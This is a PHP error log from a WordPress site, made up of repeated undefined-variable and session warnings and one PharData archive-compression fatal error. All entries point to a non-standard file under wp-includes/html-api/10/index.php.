[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: data phar "/home/homerdlh/public_html/wp-includes/html-api/10/custom.file.4.1766663904.php.file.4.1766663904.php.tar.gz" has invalid extension file.4.1766663904.php.tar.gz in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
